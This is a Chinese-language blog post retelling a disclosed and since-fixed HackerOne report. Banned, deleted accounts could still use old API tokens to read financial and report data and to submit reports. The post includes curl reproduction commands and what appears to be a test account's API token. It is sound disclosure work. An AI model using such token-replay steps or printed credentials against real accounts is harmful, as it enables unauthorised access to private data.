HackerOne API访问控制漏洞:封禁用户仍可通过API密钥访问已删除账户

本文详细披露了HackerOne平台存在的一个严重安全漏洞:即使用户账户被封禁并删除,攻击者仍可通过之前生成的API密钥继续访问账户数据、提交报告和获取敏感信息,涉及多个API端点的未授权访问问题。

HackerOne报告 #1577940 - 封禁用户仍可通过API密钥访问已删除账户

报告摘要

当用户账户被永久封禁后,虽然无法提交报告且在无待处理付款时账户会被删除,用户无法登录或查看个人资料,但通过封禁前生成的API令牌,用户仍能执行以下操作:

  • 获取报告
  • 获取余额
  • 获取收益
  • 获取付款
  • 获取弱点信息
  • 获取程序信息

用户基本上可以执行HackerOne API参考文档中列出的所有操作。

复现步骤

  1. 创建新账户
  2. 永久封禁该账户(等待批准后分享封禁账户的API令牌)

假设:

  • 用户名:mrtst
  • API令牌:XXXXXXXXXXXXXXXXXXXX=

漏洞利用

获取报告(包括单个报告)

1
curl "https://api.hackerone.com/v1/hackers/me/reports" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取余额

1
curl "https://api.hackerone.com/v1/hackers/payments/balance" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取收益

1
curl "https://api.hackerone.com/v1/hackers/payments/earnings" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取付款

1
curl "https://api.hackerone.com/v1/hackers/payments/payouts" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取弱点信息

1
curl "https://api.hackerone.com/v1/hackers/programs/{handle}/weaknesses" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

获取程序信息

1
curl "https://api.hackerone.com/v1/hackers/programs" -X GET -u "mrtst:XXXXXXXXXXXXXXXXXXXX=" -H 'Accept: application/json'

影响

被封禁的用户可以完全访问其已删除的账户。

时间线更新

2022年5月23日

研究人员获得批准,提供测试账户@mrtst和有效API令牌: 1zco8RyMaV6EkgQ+5rwOSLExuGww36dr8uOHC7U5oEbA=

2022年5月25日

HackerOne团队确认验证报告,将严重性从严重调整为中等(5.0),添加弱点分类:“不正确的访问控制 - 通用”

2022年5月25日(后续更新)

研究人员发现额外影响:

  • 被封禁用户仍可通过API端点提交新报告
  • 用户仍能接收私有程序邀请
  • GraphQL端点存在相同漏洞,即使用户不存在仍能获取配置文件信息

2022年6月2日

报告状态改为"已分类",发放赏金

2022年8月3日

进入重测试阶段,确认修复有效

2022年8月4日

报告状态改为"已解决"

2025年6月14日

请求披露该报告

2天前

报告已被披露

技术细节

漏洞涉及HackerOne的多个API端点未能正确验证封禁状态,允许使用历史API令牌绕过访问控制机制。攻击者可以:

  1. 访问敏感账户信息
  2. 提交新的漏洞报告
  3. 获取财务数据
  4. 访问程序和安全弱点信息

修复状态

HackerOne团队已发布修复补丁,经重测试确认漏洞已被有效修复。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计